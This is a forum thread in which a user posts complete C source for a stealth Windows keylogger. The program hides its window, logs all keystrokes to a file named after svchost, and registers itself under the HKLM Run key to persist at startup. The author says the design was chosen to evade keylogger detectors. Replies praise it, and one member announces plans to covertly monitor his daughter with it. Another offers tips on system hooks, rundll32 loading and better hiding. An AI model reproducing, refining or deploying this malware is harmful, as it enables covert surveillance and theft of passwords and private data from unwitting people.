I've written a windows keylogger in C
Page 1 of 3 123 LastLast
Results 1 to 10 of 28

Thread: I've written a windows keylogger in C

  1. #1

    Exclamation I've written a windows keylogger in C

    hi all,

    i've written a simple stealth keylogger for Windows in C,
    it is open source via the GPL license, here's the source:

    Code:
    /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
    *                                                                                  *
    *  File: SVCHOST.c                                                                 *
    *                                                                                  *
    *  Purpose: a stealth keylogger, writes to file "svchost.log"                      *
    *                                                                                  *      
    *  Usage: compile to svchost.exe, copy to c:\%windir%\ and run it.                 *
    *                                                                                  *
    *  Copyright (C) 2004  Scorpius, scorpius_unknown@yahoo.com, all rights reserved   *
    *                                                                                  *
    *  This program is free software; you can redistribute it and/or                   *
    *  modify it under the terms of the GNU General Public License                     *
    *  as published by the Free Software Foundation; either version 2                  *
    *  of the License, or (at your option) any later version.                          *
    *                                                                                  *
    *  This program is distributed in the hope that it will be useful,                 *
    *  but WITHOUT ANY WARRANTY; without even the implied warranty of                  *
    *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the                   *
    *  GNU General Public License for more details.                                    *
    *                                                                                  *
    *  You should have received a copy of the GNU General Public License               *
    *  along with this program; if not, write to the Free Software                     *
    *  Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.     *
    *                                                                                  *
    * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
    
    #include <windows.h>
    #include <stdio.h>
    #include <winuser.h>
    #include <windowsx.h>
    
    #define BUFSIZE 80
    
    int test_key(void);
    int create_key(char *);
    int get_keys(void);
    
    
    int main(void)
    {
       HWND stealth; /*creating stealth (window is not visible)*/
       AllocConsole();
       stealth=FindWindowA("ConsoleWindowClass",NULL);
       ShowWindow(stealth,0);
     
       int test,create;
       test=test_key();/*check if key is available for opening*/
           
       if (test==2)/*create key*/
       {
           char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/
           create=create_key(path);
             
       }
           
     
       int t=get_keys();
       
       return t;
    }  
    
    int get_keys(void)
    {
               short character;
                 while(1)
                 {
                        sleep(10);/*to prevent 100% cpu usage*/
                        for(character=8;character<=222;character++)
                        {
                            if(GetAsyncKeyState(character)==-32767)
                            {  
                               
                                FILE *file;
                                file=fopen("svchost.log","a+");
                                if(file==NULL)
                                {
                                        return 1;
                                }            
                                if(file!=NULL)
                                {        
                                        if((character>=39)&&(character<=64))
                                        {
                                              fputc(character,file);
                                              fclose(file);
                                              break;
                                        }        
                                        else if((character>64)&&(character<91))
                                        {
                                              character+=32;
                                              fputc(character,file);
                                              fclose(file);
                                              break;
                                        }
                                        else
                                        {
                                            switch(character)
                                            {
                                                  case VK_SPACE:
                                                  fputc(' ',file);
                                                  fclose(file);
                                                  break;    
                                                  case VK_SHIFT:
                                                  fputs("[SHIFT]",file);
                                                  fclose(file);
                                                  break;                                            
                                                  case VK_RETURN:
                                                  fputs("\n[ENTER]",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_BACK:
                                                  fputs("[BACKSPACE]",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_TAB:
                                                  fputs("[TAB]",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_CONTROL:
                                                  fputs("[CTRL]",file);
                                                  fclose(file);
                                                  break;    
                                                  case VK_DELETE:
                                                  fputs("[DEL]",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_1:
                                                  fputs("[;:]",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_2:
                                                  fputs("[/?]",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_3:
                                                  fputs("[`~]",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_4:
                                                  fputs("[ [{ ]",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_5:
                                                  fputs("[\\|]",file);
                                                  fclose(file);
                                                  break;                                
                                                  case VK_OEM_6:
                                                  fputs("[ ]} ]",file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_7:
                                                  fputs("['\"]",file);
                                                  fclose(file);
                                                  break;
                                                  /*case VK_OEM_PLUS:
                                                  fputc('+',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_COMMA:
                                                  fputc(',',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_MINUS:
                                                  fputc('-',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_OEM_PERIOD:
                                                  fputc('.',file);
                                                  fclose(file);
                                                  break;*/
                                                  case VK_NUMPAD0:
                                                  fputc('0',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD1:
                                                  fputc('1',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD2:
                                                  fputc('2',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD3:
                                                  fputc('3',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD4:
                                                  fputc('4',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD5:
                                                  fputc('5',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD6:
                                                  fputc('6',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD7:
                                                  fputc('7',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD8:
                                                  fputc('8',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_NUMPAD9:
                                                  fputc('9',file);
                                                  fclose(file);
                                                  break;
                                                  case VK_CAPITAL:
                                                  fputs("[CAPS LOCK]",file);
                                                  fclose(file);
                                                  break;
                                                  default:
                                                  fclose(file);
                                                  break;
                                           }        
                                      }    
                                 }        
                       }    
                   }                  
                       
               }
               return EXIT_SUCCESS;                            
    }                                                
    
    int test_key(void)
    {
       int check;
       HKEY hKey;
       char path[BUFSIZE];
       DWORD buf_length=BUFSIZE;
       int reg_key;
       
       reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
       if(reg_key!=0)
       {    
           check=1;
           return check;
       }        
             
       reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);
       
       if((reg_key!=0)||(buf_length>BUFSIZE))
           check=2;
       if(reg_key==0)
           check=0;
           
       RegCloseKey(hKey);
       return check;  
    }
     
    int create_key(char *path)
    {  
           int reg_key,check;
           
           HKEY hkey;
           
           reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
           if(reg_key==0)
           {
                   RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
                   check=0;
                   return check;
           }
           if(reg_key!=0)
                   check=1;
                   
           return check;
    }
    hope you guys like it.


    [EDIT]well, if i just alter the code like in the lower post is suggested, the program wouldn't work anymore, so i will have to put some more time in it before i alter it [/EDIT]

    Share on Google+

  2. #2
    Senior Member PacketThirst's Avatar
    Join Date
    Aug 2004
    Posts
    258
    Awesome code Lepricaun ! I wish i could Code like ya !
    Share on Google+

  3. #3
    ********** |ceWriterguy
    Join Date
    Aug 2004
    Posts
    1,608
    Lep, I thank you. Been looking for a nice small one to keep track on a particular daughter who's down for a visit. Good code!
    Even a broken watch is correct twice a day.

    Which coder said that nobody could outcode Microsoft in their own OS? Write a bit and make a fortune!
    Share on Google+

  4. #4
    Senior Member
    Join Date
    Jan 2002
    Posts
    1,207
    Your massive switch statement should really be replaced by the relevant keycode translation function. That will not only be more concise, but probably more accurate.

    Slarty
    Share on Google+

  5. #5
    Your massive switch statement should really be replaced by the relevant keycode translation function. That will not only be more concise, but probably more accurate.
    i don't understand what you mean, can you give an example or link?
    Share on Google+

  6. #6
    Senior Member
    Join Date
    Jan 2002
    Posts
    1,207
    Ahh right, I see what you're doing now. You're trying to make a printable representation of otherwise unprintable key codes, such as tab and capslock.

    Try using the ToAscii() function, and pass in the state of the shift, ctrl, capslock etc, then you should get the right ascii character out for the key which is being pressed, dependent on the keyboard state too. (I'm not sure about using GetAsyncKeyState, but it definitely works with hooks). That's what I've done in the past.

    Still, I'd suggest that you replace the big switch statement with a lookup table, or at the very least, remove the fclose() from every single case in the switch statement. That makes the program considerably larger than it needs to be.

    It is generally better to do things once than many times - the fclose happens in just about every branch of this routine.

    Also I'm a bit skeptical about the "sleep-10-ms and loop around" polling technique you're using. Most Windows keyloggers use system-level hooks (with SetWindowsHookEx), which will probably generally work better and use less CPU. But this probably requires you to make a DLL. But then again that is pretty trivial, you can even run it with rundll32.

    In order to create a "hidden" window, it is not necessary to try to find your console window and hide it. Instead create a "windows" subsystem program (i.e. one with WinMain instead of main), and don't create a window (or create an invisible one). That is a much better way of doing it.

    Slarty
    Share on Google+

  7. #7
    Still, I'd suggest that you replace the big switch statement with a lookup table, or at the very least, remove the fclose() from every single case in the switch statement. That makes the program considerably larger than it needs to be.
    i used the fclose un purpose, cause now you can delete, alter, copy and save the svchost.log file while the program is running, and that was exaclty what i wanted..

    Also I'm a bit skeptical about the "sleep-10-ms and loop around" polling technique you're using. Most Windows keyloggers use system-level hooks (with SetWindowsHookEx), which will probably generally work better and use less CPU. But this probably requires you to make a DLL. But then again that is pretty trivial, you can even run it with rundll32.
    with the sleep function it doesn't show any cpu usage in taskmgr, of course it uses some, but i'm running the program right now on this computer, and i don't notice anything is running slower...
    and like normal keyloggers, they are detected by keylogger-killers and keylogger-hunters, this one isn't, that's why i choose to do it like this..
    i'm trying to find a tutorial on creating dll's in C, but haven't found anything useful yet, so if you can point me to one, i would be very happy .

    In order to create a "hidden" window, it is not necessary to try to find your console window and hide it. Instead create a "windows" subsystem program (i.e. one with WinMain instead of main), and don't create a window (or create an invisible one). That is a much better way of doing it.
    i see what you mean, i will get into it

    thanks for your comments, i will see what i can do
    Share on Google+

  8. #8
    Senior Member
    Join Date
    Jan 2002
    Posts
    1,207
    Originally posted here by lepricaun
    [B]i used the fclose un purpose, cause now you can delete, alter, copy and save the svchost.log file while the program is running, and that was exaclty what i wanted..
    I wasn't suggesting you abandon the idea of opening and closing the file each time.

    I was suggesting that you reduce the number of places in your code where you *call* fclose, to tidy it up a bit. You call fclose() all over the place, ideally you should be able to restructure it so you only need to do it once.

    Slarty
    Share on Google+

  9. #9
    i understand what you mean, i could indeed called it once per loop, and as i remember i had this at first, but there was some reason why i did it like this, i just can't remember why

    but yes, then the calling would be just once (written)..

    thanks for your reply.

    (i can't change the above code anymore i think, but i will try and if it is possible i will change it..).

    for people not understanding what this is all about : if i would alter the above code like slarty suggested, the code would change, but the program itself wouldn't change, so if you have already compiled it, then don't bother recompiling it, it's no extra function, it's just merely nicer code
    Share on Google+

  10. #10
    Banned
    Join Date
    Jun 2003
    Posts
    1,302
    But, lepricaun, nicer code is a bigger part of coding, why use code that isn't optimized. I recommend you get one of the begining programming books, that don't teach code, but teach theory. They will be very good for you. They will teach you to, optimize your code.

    That is one of the problems i have with my Algo's.

    Your code isn't bad, it's just the best it could be.
    Share on Google+

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  

 Security News

     Patches

       Security Trends

         How-To

           Buying Guides